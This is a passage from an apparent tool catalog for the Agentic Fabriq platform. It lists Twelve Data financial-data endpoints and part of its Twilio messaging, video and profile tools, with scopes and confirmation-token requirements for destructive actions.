flow via GET /cash_flow GET /api/v1/twelvedata/cash_flow. Scopes: api. twelvedata_get_cash_flow_consolidated (read) — Cash flow consolidated via GET /cash_flow/consolidated GET /api/v1/twelvedata/cash_flow/consolidated. Scopes: api. twelvedata_get_cci (read) — Commodity channel index via GET /cci GET /api/v1/twelvedata/cci. Scopes: api. twelvedata_get_ceil (read) — Ceiling via GET /ceil GET /api/v1/twelvedata/ceil. Scopes: api. twelvedata_get_cmo (read) — Chande momentum oscillator via GET /cmo GET /api/v1/twelvedata/cmo. Scopes: api. twelvedata_get_commodities (read) — Commodities via GET /commodities GET /api/v1/twelvedata/commodities. Scopes: api. twelvedata_get_coppock (read) — Coppock curve via GET /coppock GET /api/v1/twelvedata/coppock. Scopes: api. twelvedata_get_correl (read) — Correlation via GET /correl GET /api/v1/twelvedata/correl. Scopes: api. twelvedata_get_countries (read) — Countries via GET /countries GET /api/v1/twelvedata/countries. Scopes: api. twelvedata_get_cross_listings (read) — Cross listings via GET /cross_listings GET /api/v1/twelvedata/cross_listings. Scopes: api. twelvedata_get_crsi (read) — Connors relative strength index via GET /crsi GET /api/v1/twelvedata/crsi. Scopes: api. twelvedata_get_cryptocurrencies (read) — Cryptocurrency pairs via GET /cryptocurrencies GET /api/v1/twelvedata/cryptocurrencies. Scopes: api. twelvedata_get_cryptocurrency_exchanges (read) — Cryptocurrency exchanges via GET /cryptocurrency_exchanges GET /api/v1/twelvedata/cryptocurrency_exchanges. Scopes: api. twelvedata_get_currency_conversion (read) — Currency conversion via GET /currency_conversion GET /api/v1/twelvedata/currency_conversion. Scopes: api. twelvedata_get_dema (read) — Double exponential moving average via GET /dema GET /api/v1/twelvedata/dema. Scopes: api. twelvedata_get_direct_holders (read) — Direct holders via GET /direct_holders GET /api/v1/twelvedata/direct_holders. Scopes: api. twelvedata_get_div (read) — Division via GET /div GET /api/v1/twelvedata/div. Scopes: api. twelvedata_get_dividends (read) — Dividends via GET /dividends GET /api/v1/twelvedata/dividends. Scopes: api. twelvedata_get_dividends_calendar (read) — Dividends calendar via GET /dividends_calendar GET /api/v1/twelvedata/dividends_calendar. Scopes: api. twelvedata_get_dpo (read) — Detrended price oscillator via GET /dpo GET /api/v1/twelvedata/dpo. Scopes: api. twelvedata_get_dx (read) — Directional movement index via GET /dx GET /api/v1/twelvedata/dx. Scopes: api. twelvedata_get_earliest_timestamp (read) — Earliest timestamp via GET /earliest_timestamp GET /api/v1/twelvedata/earliest_timestamp. Scopes: api. twelvedata_get_earnings (read) — Earnings via GET /earnings GET /api/v1/twelvedata/earnings. Scopes: api. twelvedata_get_earnings_calendar (read) — Earnings calendar via GET /earnings_calendar GET /api/v1/twelvedata/earnings_calendar. Scopes: api. twelvedata_get_earnings_estimate (read) — Earnings estimate via GET /earnings_estimate GET /api/v1/twelvedata/earnings_estimate. Scopes: api. twelvedata_get_edgar_filings_archive (read) — EDGAR fillings via GET /edgar_filings/archive GET /api/v1/twelvedata/edgar_filings/archive. Scopes: api. twelvedata_get_ema (read) — Exponential moving average via GET /ema GET /api/v1/twelvedata/ema. Scopes: api. twelvedata_get_eod (read) — End of day price via GET /eod GET /api/v1/twelvedata/eod. Scopes: api. twelvedata_get_eps_revisions (read) — EPS revisions via GET /eps_revisions GET /api/v1/twelvedata/eps_revisions. Scopes: api. twelvedata_get_eps_trend (read) — EPS trend via GET /eps_trend GET /api/v1/twelvedata/eps_trend. Scopes: api. twelvedata_get_etfs (read) — ETFs via GET /etfs GET /api/v1/twelvedata/etfs. Scopes: api. twelvedata_get_etfs_family (read) — ETFs families via GET /etfs/family GET /api/v1/twelvedata/etfs/family. Scopes: api. twelvedata_get_etfs_list (read) — ETFs directory via GET /etfs/list GET /api/v1/twelvedata/etfs/list. Scopes: api. twelvedata_get_etfs_type (read) — ETFs types via GET /etfs/type GET /api/v1/twelvedata/etfs/type. Scopes: api. twelvedata_get_etfs_world (read) — ETF full data via GET /etfs/world GET /api/v1/twelvedata/etfs/world. Scopes: api. twelvedata_get_etfs_world_composition (read) — Composition (etfs) via GET /etfs/world/composition GET /api/v1/twelvedata/etfs/world/composition. Scopes: api. twelvedata_get_etfs_world_performance (read) — Performance (etfs) via GET /etfs/world/performance GET /api/v1/twelvedata/etfs/world/performance. Scopes: api. twelvedata_get_etfs_world_risk (read) — Risk (etfs) via GET /etfs/world/risk GET /api/v1/twelvedata/etfs/world/risk. Scopes: api. twelvedata_get_etfs_world_summary (read) — Summary (etfs) via GET /etfs/world/summary GET /api/v1/twelvedata/etfs/world/summary. Scopes: api. twelvedata_get_exchange_rate (read) — Exchange rate via GET /exchange_rate GET /api/v1/twelvedata/exchange_rate. Scopes: api. twelvedata_get_exchange_schedule (read) — Exchanges schedule via GET /exchange_schedule GET /api/v1/twelvedata/exchange_schedule. Scopes: api. twelvedata_get_exchanges (read) — Exchanges via GET /exchanges GET /api/v1/twelvedata/exchanges. Scopes: api. twelvedata_get_exp (read) — Exponential via GET /exp GET /api/v1/twelvedata/exp. Scopes: api. twelvedata_get_floor (read) — Floor via GET /floor GET /api/v1/twelvedata/floor. Scopes: api. twelvedata_get_forex_pairs (read) — Forex pairs via GET /forex_pairs GET /api/v1/twelvedata/forex_pairs. Scopes: api. twelvedata_get_fund_holders (read) — Fund holders via GET /fund_holders GET /api/v1/twelvedata/fund_holders. Scopes: api. twelvedata_get_funds (read) — Funds via GET /funds GET /api/v1/twelvedata/funds. Scopes: api. twelvedata_get_growth_estimates (read) — Growth estimates via GET /growth_estimates GET /api/v1/twelvedata/growth_estimates. Scopes: api. twelvedata_get_heikinashicandles (read) — Heikinashi candles via GET /heikinashicandles GET /api/v1/twelvedata/heikinashicandles. Scopes: api. twelvedata_get_hlc3 (read) — High, low, close average via GET /hlc3 GET /api/v1/twelvedata/hlc3. Scopes: api. twelvedata_get_ht_dcperiod (read) — Hilbert transform dominant cycle period via GET /ht_dcperiod GET /api/v1/twelvedata/ht_dcperiod. Scopes: api. twelvedata_get_ht_dcphase (read) — Hilbert transform dominant cycle phase via GET /ht_dcphase GET /api/v1/twelvedata/ht_dcphase. Scopes: api. twelvedata_get_ht_phasor (read) — Hilbert transform phasor components via GET /ht_phasor GET /api/v1/twelvedata/ht_phasor. Scopes: api. twelvedata_get_ht_sine (read) — Hilbert transform sine wave via GET /ht_sine GET /api/v1/twelvedata/ht_sine. Scopes: api. twelvedata_get_ht_trendline (read) — Hilbert transform instantaneous trendline via GET /ht_trendline GET /api/v1/twelvedata/ht_trendline. Scopes: api. twelvedata_get_ht_trendmode (read) — Hilbert transform trend vs cycle mode via GET /ht_trendmode GET /api/v1/twelvedata/ht_trendmode. Scopes: api. twelvedata_get_ichimoku (read) — Ichimoku cloud via GET /ichimoku GET /api/v1/twelvedata/ichimoku. Scopes: api. twelvedata_get_income_statement (read) — Income statement via GET /income_statement GET /api/v1/twelvedata/income_statement. Scopes: api. twelvedata_get_income_statement_consolidated (read) — Income statement consolidated via GET /income_statement/consolidated GET /api/v1/twelvedata/income_statement/consolidated. Scopes: api. twelvedata_get_insider_transactions (read) — Insider transaction via GET /insider_transactions GET /api/v1/twelvedata/insider_transactions. Scopes: api. twelvedata_get_institutional_holders (read) — Institutional holders via GET /institutional_holders GET /api/v1/twelvedata/institutional_holders. Scopes: api. twelvedata_get_instrument_type (read) — Instrument type via GET /instrument_type GET /api/v1/twelvedata/instrument_type. Scopes: api. twelvedata_get_intervals (read) — Intervals List via GET /intervals GET /api/v1/twelvedata/intervals. Scopes: api. twelvedata_get_ipo_calendar (read) — IPO calendar via GET /ipo_calendar GET /api/v1/twelvedata/ipo_calendar. Scopes: api. twelvedata_get_kama (read) — Kaufman adaptive moving average via GET /kama GET /api/v1/twelvedata/kama. Scopes: api. twelvedata_get_keltner (read) — Keltner channel via GET /keltner GET /api/v1/twelvedata/keltner. Scopes: api. twelvedata_get_key_executives (read) — Key executives via GET /key_executives GET /api/v1/twelvedata/key_executives. Scopes: api. twelvedata_get_kst (read) — Know sure thing via GET /kst GET /api/v1/twelvedata/kst. Scopes: api. twelvedata_get_last_change_by_endpoint (read) — Last changes via GET /last_change/{endpoint} GET /api/v1/twelvedata/last_change/{endpoint}. Scopes: api. twelvedata_get_linearreg (read) — Linear regression via GET /linearreg GET /api/v1/twelvedata/linearreg. Scopes: api. twelvedata_get_linearregangle (read) — Linear regression angle via GET /linearregangle GET /api/v1/twelvedata/linearregangle. Scopes: api. twelvedata_get_linearregintercept (read) — Linear regression intercept via GET /linearregintercept GET /api/v1/twelvedata/linearregintercept. Scopes: api. twelvedata_get_linearregslope (read) — Linear regression slope via GET /linearregslope GET /api/v1/twelvedata/linearregslope. Scopes: api. twelvedata_get_ln (read) — Natural logarithm via GET /ln GET /api/v1/twelvedata/ln. Scopes: api. twelvedata_get_log10 (read) — Base-10 logarithm via GET /log10 GET /api/v1/twelvedata/log10. Scopes: api. twelvedata_get_logo (read) — Logo via GET /logo GET /api/v1/twelvedata/logo. Scopes: api. twelvedata_get_ma (read) — Moving average via GET /ma GET /api/v1/twelvedata/ma. Scopes: api. twelvedata_get_macd (read) — Moving average convergence divergence via GET /macd GET /api/v1/twelvedata/macd. Scopes: api. twelvedata_get_macd_slope (read) — Moving average convergence divergence slope via GET /macd_slope GET /api/v1/twelvedata/macd_slope. Scopes: api. twelvedata_get_macdext (read) — Moving average convergence divergence extension via GET /macdext GET /api/v1/twelvedata/macdext. Scopes: api. twelvedata_get_mama (read) — MESA adaptive moving average via GET /mama GET /api/v1/twelvedata/mama. Scopes: api. twelvedata_get_market_cap (read) — Market capitalization via GET /market_cap GET /api/v1/twelvedata/market_cap. Scopes: api. twelvedata_get_market_movers_by_market (read) — Market movers via GET /market_movers/{market} GET /api/v1/twelvedata/market_movers/{market}. Scopes: api. twelvedata_get_market_state (read) — Market state via GET /market_state GET /api/v1/twelvedata/market_state. Scopes: api. twelvedata_get_max (read) — Maximum via GET /max GET /api/v1/twelvedata/max. Scopes: api. twelvedata_get_maxindex (read) — Maximum Index via GET /maxindex GET /api/v1/twelvedata/maxindex. Scopes: api. twelvedata_get_mcginley_dynamic (read) — McGinley dynamic indicator via GET /mcginley_dynamic GET /api/v1/twelvedata/mcginley_dynamic. Scopes: api. twelvedata_get_medprice (read) — Median price via GET /medprice GET /api/v1/twelvedata/medprice. Scopes: api. twelvedata_get_mfi (read) — Money flow index via GET /mfi GET /api/v1/twelvedata/mfi. Scopes: api. twelvedata_get_midpoint (read) — Midpoint via GET /midpoint GET /api/v1/twelvedata/midpoint. Scopes: api. twelvedata_get_midprice (read) — Midprice via GET /midprice GET /api/v1/twelvedata/midprice. Scopes: api. twelvedata_get_min (read) — Minimum via GET /min GET /api/v1/twelvedata/min. Scopes: api. twelvedata_get_minindex (read) — Minimum index via GET /minindex GET /api/v1/twelvedata/minindex. Scopes: api. twelvedata_get_minmax (read) — Minimum and maximum via GET /minmax GET /api/v1/twelvedata/minmax. Scopes: api. twelvedata_get_minmaxindex (read) — Minimum and maximum index via GET /minmaxindex GET /api/v1/twelvedata/minmaxindex. Scopes: api. twelvedata_get_minus_di (read) — Minus directional indicator via GET /minus_di GET /api/v1/twelvedata/minus_di. Scopes: api. twelvedata_get_minus_dm (read) — Minus directional movement via GET /minus_dm GET /api/v1/twelvedata/minus_dm. Scopes: api. twelvedata_get_mom (read) — Momentum via GET /mom GET /api/v1/twelvedata/mom. Scopes: api. twelvedata_get_money_market_funds_list (read) — MMFs directory via GET /money_market_funds/list GET /api/v1/twelvedata/money_market_funds/list. Scopes: api. twelvedata_get_money_market_funds_world (read) — MMF full data via GET /money_market_funds/world GET /api/v1/twelvedata/money_market_funds/world. Scopes: api. twelvedata_get_mult (read) — Multiplication via GET /mult GET /api/v1/twelvedata/mult. Scopes: api. twelvedata_get_mutual_funds_family (read) — MFs families via GET /mutual_funds/family GET /api/v1/twelvedata/mutual_funds/family. Scopes: api. twelvedata_get_mutual_funds_list (read) — MFs directory via GET /mutual_funds/list GET /api/v1/twelvedata/mutual_funds/list. Scopes: api. twelvedata_get_mutual_funds_type (read) — MFs types via GET /mutual_funds/type GET /api/v1/twelvedata/mutual_funds/type. Scopes: api. twelvedata_get_mutual_funds_world (read) — MF full data via GET /mutual_funds/world GET /api/v1/twelvedata/mutual_funds/world. Scopes: api. twelvedata_get_mutual_funds_world_composition (read) — Composition (mutual_funds) via GET /mutual_funds/world/composition GET /api/v1/twelvedata/mutual_funds/world/composition. Scopes: api. twelvedata_get_mutual_funds_world_performance (read) — Performance (mutual_funds) via GET /mutual_funds/world/performance GET /api/v1/twelvedata/mutual_funds/world/performance. Scopes: api. twelvedata_get_mutual_funds_world_purchase_info (read) — Purchase info via GET /mutual_funds/world/purchase_info GET /api/v1/twelvedata/mutual_funds/world/purchase_info. Scopes: api. twelvedata_get_mutual_funds_world_ratings (read) — Ratings via GET /mutual_funds/world/ratings GET /api/v1/twelvedata/mutual_funds/world/ratings. Scopes: api. twelvedata_get_mutual_funds_world_risk (read) — Risk (mutual_funds) via GET /mutual_funds/world/risk GET /api/v1/twelvedata/mutual_funds/world/risk. Scopes: api. twelvedata_get_mutual_funds_world_summary (read) — Summary (mutual_funds) via GET /mutual_funds/world/summary GET /api/v1/twelvedata/mutual_funds/world/summary. Scopes: api. twelvedata_get_mutual_funds_world_sustainability (read) — Sustainability via GET /mutual_funds/world/sustainability GET /api/v1/twelvedata/mutual_funds/world/sustainability. Scopes: api. twelvedata_get_natr (read) — Normalized average true range via GET /natr GET /api/v1/twelvedata/natr. Scopes: api. twelvedata_get_obv (read) — On balance volume via GET /obv GET /api/v1/twelvedata/obv. Scopes: api. twelvedata_get_percent_b (read) — Percent B via GET /percent_b GET /api/v1/twelvedata/percent_b. Scopes: api. twelvedata_get_pivot_points_hl (read) — Pivot points high low via GET /pivot_points_hl GET /api/v1/twelvedata/pivot_points_hl. Scopes: api. twelvedata_get_plus_di (read) — Plus directional indicator via GET /plus_di GET /api/v1/twelvedata/plus_di. Scopes: api. twelvedata_get_plus_dm (read) — Plus directional movement via GET /plus_dm GET /api/v1/twelvedata/plus_dm. Scopes: api. twelvedata_get_ppo (read) — Percentage price oscillator via GET /ppo GET /api/v1/twelvedata/ppo. Scopes: api. twelvedata_get_press_releases (read) — Press releases via GET /press_releases GET /api/v1/twelvedata/press_releases. Scopes: api. twelvedata_get_price (read) — Latest price via GET /price GET /api/v1/twelvedata/price. Scopes: api. twelvedata_get_price_target (read) — Price target via GET /price_target GET /api/v1/twelvedata/price_target. Scopes: api. twelvedata_get_profile (read) — Profile via GET /profile GET /api/v1/twelvedata/profile. Scopes: api. twelvedata_get_quote (read) — Quote via GET /quote GET /api/v1/twelvedata/quote. Scopes: api. twelvedata_get_recommendations (read) — Recommendations via GET /recommendations GET /api/v1/twelvedata/recommendations. Scopes: api. twelvedata_get_revenue_estimate (read) — Revenue estimate via GET /revenue_estimate GET /api/v1/twelvedata/revenue_estimate. Scopes: api. twelvedata_get_roc (read) — Rate of change via GET /roc GET /api/v1/twelvedata/roc. Scopes: api. twelvedata_get_rocp (read) — Rate of change percentage via GET /rocp GET /api/v1/twelvedata/rocp. Scopes: api. twelvedata_get_rocr (read) — Rate of change ratio via GET /rocr GET /api/v1/twelvedata/rocr. Scopes: api. twelvedata_get_rocr100 (read) — Rate of change ratio 100 via GET /rocr100 GET /api/v1/twelvedata/rocr100. Scopes: api. twelvedata_get_rsi (read) — Relative strength index via GET /rsi GET /api/v1/twelvedata/rsi. Scopes: api. twelvedata_get_rvol (read) — Relative volume via GET /rvol GET /api/v1/twelvedata/rvol. Scopes: api. twelvedata_get_sanctions_by_source (read) — Sanctioned entities via GET /sanctions/{source} GET /api/v1/twelvedata/sanctions/{source}. Scopes: api. twelvedata_get_sar (read) — Parabolic stop and reverse via GET /sar GET /api/v1/twelvedata/sar. Scopes: api. twelvedata_get_sarext (read) — Parabolic stop and reverse extended via GET /sarext GET /api/v1/twelvedata/sarext. Scopes: api. twelvedata_get_sma (read) — Simple moving average via GET /sma GET /api/v1/twelvedata/sma. Scopes: api. twelvedata_get_splits (read) — Splits via GET /splits GET /api/v1/twelvedata/splits. Scopes: api. twelvedata_get_splits_calendar (read) — Splits calendar via GET /splits_calendar GET /api/v1/twelvedata/splits_calendar. Scopes: api. twelvedata_get_sqrt (read) — Square root via GET /sqrt GET /api/v1/twelvedata/sqrt. Scopes: api. twelvedata_get_statistics (read) — Statistics via GET /statistics GET /api/v1/twelvedata/statistics. Scopes: api. twelvedata_get_stddev (read) — Standard deviation via GET /stddev GET /api/v1/twelvedata/stddev. Scopes: api. twelvedata_get_stoch (read) — Stochastic oscillator via GET /stoch GET /api/v1/twelvedata/stoch. Scopes: api. twelvedata_get_stochf (read) — Stochastic fast via GET /stochf GET /api/v1/twelvedata/stochf. Scopes: api. twelvedata_get_stochrsi (read) — Stochastic relative strength index via GET /stochrsi GET /api/v1/twelvedata/stochrsi. Scopes: api. twelvedata_get_stocks (read) — Stocks via GET /stocks GET /api/v1/twelvedata/stocks. Scopes: api. twelvedata_get_sub (read) — Subtraction via GET /sub GET /api/v1/twelvedata/sub. Scopes: api. twelvedata_get_sum (read) — Summation via GET /sum GET /api/v1/twelvedata/sum. Scopes: api. twelvedata_get_supertrend (read) — Supertrend via GET /supertrend GET /api/v1/twelvedata/supertrend. Scopes: api. twelvedata_get_supertrend_heikinashicandles (read) — Supertrend Heikin Ashi candles via GET /supertrend_heikinashicandles GET /api/v1/twelvedata/supertrend_heikinashicandles. Scopes: api. twelvedata_get_symbol_search (read) — Symbol search via GET /symbol_search GET /api/v1/twelvedata/symbol_search. Scopes: api. twelvedata_get_t3ma (read) — Triple exponential moving average (t3ma) via GET /t3ma GET /api/v1/twelvedata/t3ma. Scopes: api. twelvedata_get_tax_info (read) — Tax information via GET /tax_info GET /api/v1/twelvedata/tax_info. Scopes: api. twelvedata_get_technical_indicators (read) — Technical indicators via GET /technical_indicators GET /api/v1/twelvedata/technical_indicators. Scopes: api. twelvedata_get_tema (read) — Triple exponential moving average (tema) via GET /tema GET /api/v1/twelvedata/tema. Scopes: api. twelvedata_get_time_series (read) — Time series via GET /time_series GET /api/v1/twelvedata/time_series. Scopes: api. twelvedata_get_time_series_cross (read) — Time series cross via GET /time_series/cross GET /api/v1/twelvedata/time_series/cross. Scopes: api. twelvedata_get_trange (read) — True range via GET /trange GET /api/v1/twelvedata/trange. Scopes: api. twelvedata_get_trima (read) — Triangular moving average via GET /trima GET /api/v1/twelvedata/trima. Scopes: api. twelvedata_get_tsf (read) — Time series forecast via GET /tsf GET /api/v1/twelvedata/tsf. Scopes: api. twelvedata_get_typprice (read) — Typical price via GET /typprice GET /api/v1/twelvedata/typprice. Scopes: api. twelvedata_get_ultosc (read) — Ultimate oscillator endpoint via GET /ultosc GET /api/v1/twelvedata/ultosc. Scopes: api. twelvedata_get_var (read) — Variance via GET /var GET /api/v1/twelvedata/var. Scopes: api. twelvedata_get_vwap (read) — Volume weighted average price via GET /vwap GET /api/v1/twelvedata/vwap. Scopes: api. twelvedata_get_wclprice (read) — Weighted close price via GET /wclprice GET /api/v1/twelvedata/wclprice. Scopes: api. twelvedata_get_willr (read) — Williams %R via GET /willr GET /api/v1/twelvedata/willr. Scopes: api. twelvedata_get_wma (read) — Weighted moving average via GET /wma GET /api/v1/twelvedata/wma. Scopes: api. twelvedata_post_batch (write) — Batches via POST /batch POST /api/v1/twelvedata/batch. Scopes: api. ================================================================================ ## Twilio URL: https://www.agenticfabriq.com/integrations/twilio Section: Integrated Tools Twilio — 815 MCP tools Provider key: twilio. Scopes: twilio_delete, twilio_read, twilio_write. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. twilio_add_messaging_service_alpha_sender (write) — Add messaging service alpha sender — Registers an alphanumeric sender ID — a brand name shown instead of a number — on a Messaging Service. One-way, and rejected outright in some countries. POST /api/v1/tools/twilio/add-messaging-service-alpha-sender. Scopes: twilio_write. twilio_add_messaging_service_channel_sender (write) — Add messaging service channel sender — Adds a non-SMS sender — WhatsApp, RCS — to a Messaging Service. This is what makes a whatsapp: recipient reachable through the service at all. POST /api/v1/tools/twilio/add-messaging-service-channel-sender. Scopes: twilio_write. twilio_add_messaging_service_destination_alpha_sender (write) — Add messaging service destination alpha sender — Registers a per-destination-country alphanumeric sender on a Messaging Service. POST /api/v1/tools/twilio/add-messaging-service-destination-alpha-sender. Scopes: twilio_write. twilio_add_messaging_service_number (write) — Add messaging service number — Adds one of the account's numbers to a Messaging Service's sender pool. Twilio then picks from that pool for sends routed through the service. POST /api/v1/tools/twilio/add-messaging-service-number. Scopes: twilio_write. twilio_add_messaging_service_short_code (write) — Add messaging service short code — Adds a short code the account already owns to a Messaging Service's pool. POST /api/v1/tools/twilio/add-messaging-service-short-code. Scopes: twilio_write. twilio_add_sip_ip_address (write) — DESTRUCTIVE — Add SIP IP address — AUTHORISES AN IP RANGE TO ORIGINATE CALLS BILLED TO THIS ACCOUNT. No E-number on the closed list covers it — it mints no credential, takes no URL, runs no code, has no unbounded spend of its own and creates no rule that acts on its own — so it ships, with a confirmation token that says what it is. Widening a CIDR prefix widens who may place calls at the customer's expense; check twilio_list_sip_ip_addresses first. Requires confirm="authorise-this-ip-to-place-billed-calls": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/add-sip-ip-address. Scopes: twilio_write. twilio_annotate_call (write, destructive) — DESTRUCTIVE — Annotate call — Records a quality verdict against one call — answered-by, connectivity and quality issues, a note. Free. It REPLACES any existing annotation on that call. Requires confirm="overwrite-this-call-annotation": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/annotate-call. Scopes: twilio_write. twilio_anonymize_video_participant (write, destructive) — DESTRUCTIVE — Anonymize video participant — Permanently replaces a participant's identity with an anonymous value in Twilio's records. Irreversible, and privacy-positive: it exists to satisfy a data-subject request. Requires confirm="anonymize-this-participant": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/anonymize-video-participant. Scopes: twilio_write. twilio_assign_numbers_bundle_item (write) — Assign numbers bundle item — Attaches an end user or supporting document to a draft bundle. POST /api/v1/tools/twilio/assign-numbers-bundle-item. Scopes: twilio_write. twilio_cancel_message (write) — Cancel a message that is scheduled and has not yet been sent. This is the UNDO for twilio_schedule_message and the only way to recall a Twilio message at all. It can only PREVENT a send: it never sends, never spends money and never exposes anything outward, so it is not marked destructive. Only a message still in `scheduled` status can be cancelled; anything already sent returns an error. Status is pinned to `canceled` server-side and no message body may be supplied — the same endpoint with an empty body is Twilio's REDACT, which leaves a record that looks intact and is not. POST /api/v1/tools/twilio/messages/cancel. Scopes: twilio_write. twilio_check_hosted_number_eligibility (write) — Check hosted-number eligibility — Asks whether one number is eligible to be hosted on this account. Advisory and free; it starts no order. POST /api/v1/tools/twilio/check-hosted-number-eligibility. Scopes: twilio_write. twilio_check_hosted_number_eligibility_bulk (write) — Check hosted-number eligibility bulk — The same check for many numbers in one call, bounded by the list the caller sends. Advisory and free. POST /api/v1/tools/twilio/check-hosted-number-eligibility-bulk. Scopes: twilio_write. twilio_clone_numbers_bundle (write) — Clone numbers bundle — Clones a bundle into a different account or target. Same purpose as a copy; Twilio exposes both. POST /api/v1/tools/twilio/clone-numbers-bundle. Scopes: twilio_write. twilio_complete_video_room (write, destructive) — DESTRUCTIVE — Complete video room — Ends a room, disconnecting every participant. The inverse of twilio_create_video_room and the way to stop the meter before max_participant_duration expires. Status is pinned to `completed`; there is no other value. Requires confirm="end-this-room-for-everyone": a literal token, not a flag, so that the argument cannot be satisfied without reading what it does. POST /api/v1/tools/twilio/complete-video-room. Scopes: twilio_write. twilio_copy_numbers_bundle (write) — Copy numbers bundle — Copies an existing bundle, so a second number in the same country can reuse assembled evidence without re-entering it. POST /api/v1/tools/twilio/copy-numbers-bundle. Scopes: twilio_write. twilio_create_address (write) — Create address — Registers a regulatory address. Many countries will not sell or keep a number without a validated local address. POST /api/v1/tools/twilio/create-address. Scopes: twilio_write. twilio_create_content_template (write) — Create a rich content template — the approved message body a business-initiated WhatsApp or RCS message must use. This is what makes twilio_send_message(content_sid=…) reachable: outside the 24-hour customer-service window Meta requires an approved template. FREE, messages nobody, creates a DRAFT, and twilio_delete_content_template reverses it. It does NOT submit the template to Meta for approval — that enters a third-party review of a business's messaging and is deliberately not exposed. Keep the returned HX… SID. POST /api/v1/tools/twilio/content-template/create. Scopes: twilio_write. twilio_create_conversation (write) — Create conversation — Creates an empty conversation. It reaches nobody until a participant is added, which is a separate operation Agentic Fabriq does not expose. POST /api/v1/tools/twilio/create-conversation. Scopes: twilio_write. twilio_create_conversations_address_configuration (write) — Create conversations address configuration — Binds one of the account's OWN inbound addresses to a conversation service, so messages to it start or join a conversation. POST /api/v1/tools/twilio/create-conversations-address-configuration. Scopes: twilio_write. twilio_create_conversations_role (write) — Create conversations role — Creates a Conversations role — the permission set a user or participant is given inside a conversation. POST /api/v1/tools/twilio/create-conversations-role. Scopes: twilio_write. twilio_create_conversations_service (write) — Create conversations service — Creates a Conversation Service — an isolated namespace with its own users, roles and conversations. POST /api/v1/tools/twilio/create-conversations-service. Scopes: twilio_write. twilio_create_conversations_service_conversation (write) — Create conversations service conversation — The service-scoped form of the same operation. POST /api/v1/tools/twilio/create-conversations-service-conversation. Scopes: twilio_write. twilio_create_conversations_service_role (write) — Create conversations service role — The service-scoped form of the same operation. POST /api/v1/tools/twilio/create-conversations-service-role. Scopes: twilio_write. twilio_create_conversations_service_user (write) — Create conversations service user — The service-scoped form of the same operation. POST /api/v1/tools/twilio/create-conversations-service-user. Scopes: twilio_write. twilio_create_conversations_user (write) — Create conversations user — Creates a Conversations user identity. A user that joins a conversation becomes a billable monthly active user, at $0.05 after the first 200 each month; creating the record alone does not. POST /api/v1/tools/twilio/create-conversations-user. Scopes: twilio_write. twilio_create_conversations_v2_configuration (write) — Create conversations v2 configuration — Creates a v2 Conversations control-plane configuration. POST /api/v1/tools/twilio/create-conversations-v2-configuration. Scopes: twilio_write. twilio_create_conversations_v2_conversation (write) — Create conversations v2 conversation — Creates a v2 conversation under a named configuration. It reaches nobody until a participant is added, which is a separate operation Agentic Fabriq does not expose. POST /api/v1/tools/twilio/create-conversations-v2-conversation. Scopes: twilio_write. twilio_create_insights_account_report (write) — Create insights account report — Generates a Voice Insights summary report for the account over a window. Requires Voice Insights Advanced Features, an account-level toggle that adds $0.0025 to every voice minute — this reads what that toggle already paid for and does not enable it. POST /api/v1/tools/twilio/create-insights-account-report. Scopes: twilio_write. twilio_create_insights_inbound_number_report (write) — Create insights inbound number report — The same report scoped to inbound numbers. Same Advanced Features requirement. POST /api/v1/tools/twilio/create-insights-inbound-number-report. Scopes: twilio_write. twilio_create_insights_outbound_number_report (write) — Create insights outbound number report — The same report scoped to outbound numbers. Same Advanced Features requirement. POST /api/v1/tools/twilio/create-insights-outbound-number-report. Scopes: twilio_write. twilio_create_intelligence_operator (write) — Create intelligence operator — Creates a custom operator — an extraction rule. Inert until attached to a service, and ATTACHING is deliberately not exposed: an attached operator runs on every future transcript and bills per 1,000 characters with no ceiling argument. POST /api/v1/tools/twilio/create-intelligence-operator. Scopes: twilio_write. twilio_create_intelligence_service (write) — Create intelligence service — Creates a Conversational Intelligence service. POST /api/v1/tools/twilio/create-intelligence-service. Scopes: twilio_write. twilio_create_intelligence_v3_configuration (write) — Create intelligence v3 configuration — Creates a v3 Intelligence configuration. POST /api/v1/tools/twilio/create-intelligence-v3-configuration. Scopes: twilio_write. twilio_create_intelligence_v3_operator (write) — Create intelligence v3 operator — Creates a v3 operator. POST /api/v1/tools/twilio/create-intelligence-v3-operator. Scopes: twilio_write. twilio_create_knowledge_source (write) — Create knowledge source — Creates a knowledge source from TEXT the caller supplies. Web-crawl sources are refused: their configuration is a URL Twilio then fetches on the customer's behalf, which is a caller-chosen destination. POST /api/v1/tools/twilio/create-knowledge-source. Scopes: twilio_write. twilio_create_knowledge_v2_base (write) — Create knowledge v2 base — Creates a v2 knowledge base — the container for knowledge sources. POST /api/v1/tools/twilio/create-knowledge-v2-base. Scopes: twilio_write. twilio_create_knowledge_v2_source (write) — Create knowledge v2 source — Creates a v2 knowledge source from TEXT or an uploaded FILE. The `Web` source type is refused: it carries a `url` Twilio crawls, which is a caller-chosen destination. POST /api/v1/tools/twilio/create-knowledge-v2-source. Scopes: twilio_write. twilio_create_lookup_override (write) — Create lookup override — Overrides what Lookup reports for one number on one field — used when the carrier's own data is wrong for a number the customer owns. POST /api/v1/tools/twilio/create-lookup-override. Scopes: twilio_write. twilio_create_memory_conversation_summary (write) — Create memory conversation summary — Attaches a conversation summary to a profile. POST /api/v1/tools/twilio/create-memory-conversation-summary. Scopes: twilio_write. twilio_create_memory_data_mapping (write) — Create memory data mapping — Maps an incoming data field onto a profile trait. POST /api/v1/tools/twilio/create-memory-data-mapping. Scopes: twilio_write. twilio_create_memory_observation (write) — Create memory observation — Records one observation about a person. POST /api/v1/tools/twilio/create-memory-observation. Scopes: twilio_write. twilio_create_memory_profile (write) — Create memory profile — Creates one profile — a record about one of the customer's end users. POST /api/v1/tools/twilio/create-memory-profile. Scopes: twilio_write. twilio_create_memory_profile_identifier (write) — Create memory profile identifier — Adds an identifier — a phone number, an email — to a profile. This is how a person is recognised on their next contact. POST /api/v1/tools/twilio/create-memory-profile-identifier. Scopes: 